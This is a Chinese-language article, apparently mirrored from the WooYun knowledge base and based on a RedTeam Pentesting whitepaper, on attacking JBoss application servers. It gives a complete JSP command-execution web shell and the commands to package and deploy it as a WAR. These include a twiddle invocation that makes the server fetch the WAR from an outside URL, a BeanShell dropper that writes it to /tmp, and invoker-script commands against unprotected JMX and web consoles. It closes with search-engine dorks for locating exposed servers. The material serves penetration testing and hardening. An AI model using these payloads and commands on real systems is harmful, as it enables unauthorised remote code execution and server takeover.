JBoss安全問題總結

wyzsk發表於2020-08-19
作者: 瞌睡龍 · 2013/07/23 19:28

0x00 簡介


JBoss應用伺服器(JBoss AS)是一個被廣泛使用的開源Java應用伺服器。

它是JBoss企業中介軟體(JEMS)的一部分,並且經常在大型企業中使用。

因為這個軟體是高度模組化和松耦合的,導致了它很很複雜,同時也使它易成為攻擊者的目標。

本文從攻擊者的角度來看,指出JBoss應用伺服器存在的潛在風險,並結合例子如何實現如何在JBoss應用伺服器上執行任意程式碼。

0x01 JBoss概述

JBoss應用伺服器基於Java企業版1.4,並可以在應用在非常多作業系統中,包括Linux,FreeBSD和Windows中,只要作業系統中安裝了Java虛擬機器。

enter image description here

JBoss應用服務架構

Java管理擴充套件(JMX)

Java管理擴充套件(JMX)是一個監控管理Java應用程式的標準化架構,JMX分為三層:

enter image description here

JMX架構

裝置層(Instrumentation Level):主要定義了資訊模型。在JMX中,各種管理物件以管理構件的形式存在,需要管理時,向MBean伺服器進行註冊。該層還定義了通知機制以及一些輔助後設資料類。

代理層(Agent Level):主要定義了各種服務以及通訊模型。該層的核心是一個MBean伺服器,所有的管理構件都需要向它註冊,才能被管理。註冊在MBean伺服器上管理構件並不直接和遠端應用程式進行通訊,它們透過協議介面卡和聯結器進行通訊。而協議介面卡和聯結器也以管理構件的形式向MBean伺服器註冊才能提供相應的服務。

分佈服務層(Distributed Service Level):主要定義了能對代理層進行操作的管理介面和構件,這樣管理者就可以操作代理。然而,當前的JMX規範並沒有給出這一層的具體規範。

JMX Invoker

Invokers允許客戶端應用程式傳送任意協議的JMX請求到服務端。

這些呼叫都用過MBean伺服器傳送到響應的MBean服務。

傳輸機制都是透明的,並且可以使用任意的協議如:HTTP,SOAP2或JRMP3。

Deployer架構

攻擊者對JBoss應用伺服器中的Deployers模組特別感興趣。

他們被用來部署不同的組成部分。

本文當中重點要將的安裝元件:

JAR(Java ARchives):JAR 檔案格式以流行的 ZIP 檔案格式為基礎。與 ZIP 檔案不同的是,JAR 檔案不僅用於壓縮和釋出,而且還用於部署和封裝庫、元件和外掛程式,並可被像編譯器和 JVM 這樣的工具直接使用。在 JAR 中包含特殊的檔案,如 manifests 和部署描述符,用來指示工具如何處理特定的 JAR。

WAR(Web ARchives):WAR檔案是JAR檔案包含一個Web應用程式的元件,與Java ServerPages(JSP),Java類,靜態web頁面等類似。

BSH(BeanSHell scripts):BeanShell是Java指令碼語言,BeanShell指令碼使用Java語法,執行在JRE上。

最重要的JBoss應用伺服器deployer是MainDeployer。它是部署元件的主要入口點。

傳遞給MainDeployer的部署元件的路徑是一個URL形式:

org.jboss.deployment.MainDeployer.deploy(String urlspec)

MainDeployer會下載物件,並決定使用什麼樣的SubDeployer轉發。

根據元件的型別,SubDeployer(例如:JarDeployer,SarDeployer等)接受物件進行安裝。

為了方便部署,可以使用UrlDeploymentScanner,它同樣獲取一個URL作為引數:

org.jboss.deployment.scanner.URLDeploymentScanner.addURL(String urlspec)

傳入的URL會被定期的檢查是否有新的安裝或更改。

這就是JBoss應用伺服器如何實現熱部署的,有新的或者更改的元件會被自動的部署。

0x02 攻擊


WAR檔案

最簡單的在JBoss應用伺服器上執行自己的程式碼是部署一個元件,JBoss可以透過HTTP安裝元件。

WAR檔案包需要在WEB-INF目錄下含一個web.xml檔案,在實際的應用程式程式碼目錄之外。

這是一個描述檔案,描述了在什麼URL將在之後的應用程式中發現。

WAR檔案可以用Java的SDK jar命令建立:

$ jar cvf redteam.war WEB-INF redteam.jsp

redteam.war的結構目錄:

|-- META-INF
|   -- MANIFEST.MF
|-- WEB-INF
|   -- web.xml 
-- redteam.jsp

META-INF/MANIFEST.MF是用jar建立檔案時自動建立的,包含JAR的資訊,例如:應用程式的主入口點(需要呼叫的類)或者需要什麼額外的類。這裡生成的檔案中沒有什麼特別的資訊,僅包含一些基本資訊:

Manifest-Version: 1.0 
Created-By: 1.6.0_10 (Sun Microsystems Inc.) 

WEB-INF/web.xml檔案必須手動建立,它包含有關Web應用程式的資訊,例如JSP檔案,或者更詳細的應用描述資訊,如果發生錯誤,使用什麼圖示顯示或者錯誤頁面的名稱等

<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
             http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
         version="2.4">
    <servlet>
        <servlet-name>RedTeam Shell</servlet-name>
        <jsp-file>/redteam.jsp</jsp-file>
    </servlet>
</web-app>

redteam的內容:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
  String cmd = request.getParameter("cmd");
  Process p = Runtime.getRuntime().exec(cmd);
  OutputStream os = p.getOutputStream();
  InputStream in = p.getInputStream();
  DataInputStream dis = new DataInputStream(in);
  String disr = dis.readLine();
  while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
} }
%>

HTTP請求:

/redteam.jsp?cmd=ls

將會列出當前目錄所有檔案,命令執行後的結果會透過如下程式碼返回來:

while ( disr != null ) {
  out.println(disr);
  disr = dis.readLine();
}

JMX Console

JMX控制檯允許透過web瀏覽器與JBoss應用伺服器直接互動的元件。

它可以方便的管理JBoss伺服器,MBean的屬性與方法可以直接呼叫,只要引數中沒有複雜的引數型別。

enter image description here

JMX控制檯預設介面

這個通常是攻擊者第一個目標。

Server- 和ServerInfo-MBean

MBeans的屬性
jboss.system:type=Server
jboss.system:type=ServerInfo

展現了JBoss應用伺服器與主機系統的資訊,包含Java虛擬機器以及作業系統的型別版本資訊。

enter image description here

MBean的屬性

JMX控制檯對MBeans可讀可操作,不僅包含JBoss應用伺服器本身的資訊,同時包含主機資訊,這些有助於進一步攻擊。

MBean的shutdown()方法可以關閉JBoss應用伺服器,未授權的JMX介面可以導致拒絕服務攻擊。

redteam.war安裝

MainDeployer的方法屬性可以在JMX控制檯中的jboss.system中呼叫。

deploy()方法可以由一個URL中一個引數呼叫,URL指向WAR檔案,需要是伺服器能夠訪問到的地址。

當invoke按鈕被點選時,JBoss應用伺服器會下載WAR檔案並安裝它,之後,就可以執行shell命令了

enter image description here

deploy()方法

enter image description here

JBoss應用程式執行ls -l命令

RMI: 遠端方法呼叫

通常JMX控制檯保護方法是加一個密碼保護。

然而這不是訪問JBoss應用伺服器元件的唯一方式,JBoss應用伺服器經常與客戶端程式介面相互呼叫,Java遠端方法呼叫(RMI)也發揮重要作用。

使用RMI,本地應用程式可以訪問遠端物件,並可以呼叫它們的方法。客戶端與伺服器之間的通訊是透明的。

JNDI(Java Naming and Directory Interface)是一個應用程式設計的API,為開發人員提供了查詢和訪問各種命名和目錄服務的通用、統一的介面,類似JDBC都是構建在抽象層上。

JNDI可訪問的現有的目錄及服務有:

DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協議)、 CORBA物件服務、檔案系統、Windows XP/2000/NT/Me/9x的登錄檔、RMI、DSML v1&v2、NIS。

透過RMI訪問MBean

RMI介面預設凱奇在埠4444上,JNDI介面預設開啟在1098和1099上。

與JBoss應用伺服器RMI通訊,可以使用專門的Java程式。更簡單的方式是使用twiddle,包括JBoss應用伺服器的安裝。

$ sh jboss-4.2.3.GA/bin/twiddle.sh -h
A JMX client to ’twiddle’ with a remote JBoss server.
usage: twiddle.sh [options] <command> [command_arguments]
options:
    -h, --help                   Show this help message
        --help-commands          Show a list of commands
    -H=<command>                 Show command specific help
-c=command.properties            Specify the command.properties file to use
-D<name>[=<value>]               Set a system property
--                               Stop procession options
-s, --server=<url>               The JNDI URL of the remote server
-a, --adapter=<name>             The JNDI name of the RMI adapter to user
-u, --user=<name>                Specify the username for authentication
-p, --password=<name>            Specify the password for authentication
-q, --quiet                      Be somewhat more quiet

有了twiddle,就用可用命令列透過RMI呼叫JBoss應用伺服器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh來啟動twiddle。類似於JMX控制檯,MBEAN的屬性可讀可改,並且可以呼叫其方法。

顯示MBean伺服器的資訊

$ ./twiddle.sh -s scribus get jboss.system:type=ServerInfo
ActiveThreadCount=50
AvailableProcessors=1
OSArch=amd64
MaxMemory=518979584
HostAddress=127.0.1.1
JavaVersion=1.6.0_06
OSVersion=2.6.24-19-server
JavaVendor=Sun Microsystems Inc.
TotalMemory=129957888
ActiveThreadGroupCount=7
OSName=Linux
FreeMemory=72958384
HostName=scribus
JavaVMVersion=10.0-b22
JavaVMVendor=Sun Microsystems Inc.
JavaVMName=Java HotSpot(TM) 64-Bit Server VM
安裝redteam.war

根據twiddle的幫助利用deploy()方法安裝war檔案。

$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war

透過下面的URL訪問shell:

http://scribus:8080/redteam/redteam-shell.jsp

BSHDeployer

利用RMI攻擊需要JBoss應用伺服器能夠訪問遠端HTTP伺服器。

然而在很多配置中,防火牆不允許JBoss伺服器對外發出連線請求:

enter image description here

為了能夠在JBoss伺服器上安裝redteam.war,這個檔案需要放在本地。

雖然JBoss不允許直接直接上傳檔案,但是有BeanShellDeployer,我們可以在遠端伺服器上建立任意檔案。

BeanShell

BeanShell是一種執行在JRE上的指令碼語言,該語言支援常規的Java語法。可以很快寫完,並且不需要編譯。

BSHDeployer

JBoss伺服器中BSHDeployer可以部署BeanShell指令碼,它會安裝後自動執行。

利用BSHDeployer安裝的方法是:

createScriptDeployment(String bshScript, String scriptName)
BeanShell指令碼

可以用下面的BeanShell指令碼實現把redteam.war放到JBoss伺服器上。

import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
// Base64 encoded redteam.war
String val = "UEsDBBQACA[...]AAAAA";
BASE64Decoder decoder = new BASE64Decoder();
byte[] byteval = decoder.decodeBuffer(val);
FileOutputStream fs = new FileOutputStream("/tmp/redteam.war");
fs.write(byteval);
fs.close();

變數val中是redteam.war檔案的base64編碼後的字串,指令碼在tmp目錄下生成redteam.war檔案,Windows中可以填寫C:WINDOWSTEMP。

安裝redteam.war檔案

利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:

$ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat redteam.bsh‘" redteam.bsh 

tedteam.bsh包含上面的BeanShell指令碼,呼叫成功後JBoss伺服器返回BeanShell建立的臨時檔案地址:

file:/tmp/redteam.bsh55918.bsh 

當BeanShell指令碼執行部署後,會建立/tmp/redteam.war檔案,現在就可以透過呼叫本地檔案來部署了:

$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war 

之後就可以訪問redteam-shell.jsp來執行命令了。

Web Console Invoker

透過JMX控制檯與RMI來控制JBoss伺服器是最常用的方法。

除了這些還有更隱蔽的介面,其中之一就是Web控制檯中使用JMXInvoker。

Web控制檯

Web控制檯與JMX控制檯類似,也可以透過瀏覽器訪問。

Web控制檯的預設介面:

enter image description here

如果JMX控制檯有密碼保護的話,是不可以透過Web控制檯訪問MBean的函式的,需要登陸後才能訪問。

Web控制檯JMX Invoker

Web控制檯除了可以看到組建的梳妝介面與JBoss伺服器資訊外,還可監視MBean屬性的實時變化。

訪問URL:

http://$hostname/web-console/Invoker 

這個Invoker其實就是JMX Invoker,而不侷限於Web控制檯提供的功能。

預設情況下,訪問是不受限制的,所以攻擊者可以用它來傳送任意的JMX命令到JBoss伺服器。

安裝redteam.war

用Web控制檯的Invoker安裝redteam.war檔案。

webconsole_invoker.rb可以直接呼叫Web控制的JMX Invoker,使用的Java類是:org.jboss.console.remote.Util

Util.class檔案屬於JBoss伺服器的JAR檔案:console-mgr-classes.jar,它提供的方法:

public static Object invoke(
    java.net.URL externalURL,
    RemoteMBeanInvocation mi)
public static Object getAttribute(
    java.net.URL externalURL,
    RemoteMBeanAttributeInvocation mi)

透過Web控制檯Invoker可以讀取MBean的屬性與invoke方法。

這個類可以透過webconsole_invoker.rb指令碼使用,使用方法如下:

$ ./webconsole_invoker.rb -h
Usage: ./webconsole_invoker.rb [options] MBean
-u, --url URL  The Invoker URL to use (default:http://localhost:8080/web-console/Invoker)
-a, --get-attr ATTR             Read an attribute of an MBean
-i, --invoke METHOD             invoke an MBean method
-p, --invoke-params PARAMS      MBean method params
-s, --invoke-sigs SIGS          MBean method signature
-t, --test                      Test the script with the ServerInfo MBean
-h, --help                      Show this help

Example usage:
./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo
./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo
./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo 

透過如下命令利用BSHDeployer來安裝redteam.war檔案。

$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s "java.lang.String","java.lang.String" -p "`cat redteam.bsh`",redteam.bsh jboss.deployer:service=BSHDeployer

在遠端伺服器上建立一個本地的redteam.war檔案,現在第二部就可以利用MainDeployer安裝/tmp/redteam.war檔案了。

$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s "java.lang.String" -p "file:/tmp/redteam.war" jboss.system:service=MainDeployer

redteam-shell.jsp又可以訪問了。

JMXInvokerServlet

之前提到過JBoss伺服器允許任何協議訪問MBean伺服器,對於HTTP,JBoss提供HttpAdaptor。

預設安裝中,HttpAdaptor是沒有啟用的,但是HttpAdaptor的JMX Invoker可以透過URL直接訪問。

http://$hostname/invoker/JMXInvokerServlet 

這個介面接受HTTP POST請求後,轉發到MBean,因此與Web控制檯Invoker類似,JMXInvokerServlet也可以傳送任意的JMX呼叫到JBoss伺服器。

建立MarshalledInvocation物件

JMXInvokerServlet的呼叫與Web控制檯Invoker不相容,所以不能使用webconsole_invoker.rb指令碼呼叫。

MarshalledInvocation物件通常只在內部JBoss伺服器上做交流。

httpinvoker.rb指令碼與webconsole_invoker.rb指令碼類似,但是需要JBoss伺服器啟用HttpAdaptor

$ ./httpinvoker.rb -h
Usage: ./httpinvoker.rb [options] MBean
-j, --jndi URL               The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory)
-p, --adaptor URL            The Adaptor URL to use (default:jmx/invoker/HttpAdaptor)
-a, --get-attr ATTR          Read an attribute of an MBean
-i,  --invoke METHOD         invoke an MBe an method          
     --invoke-params PARAMS  MBean method params
-s, --invoke-sigs SIGS       MBean method signature
-t, --test                   Test the script with the ServerInfo MBean
-h, --help                   Show this help
安裝tedteam.war

與webconsole_invoker.rb安裝類似。

尋找JBoss伺服器的方法:

inurl:"jmx-console/HtmlAdaptor"
intitle:"Welcome to JBoss"

From: Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!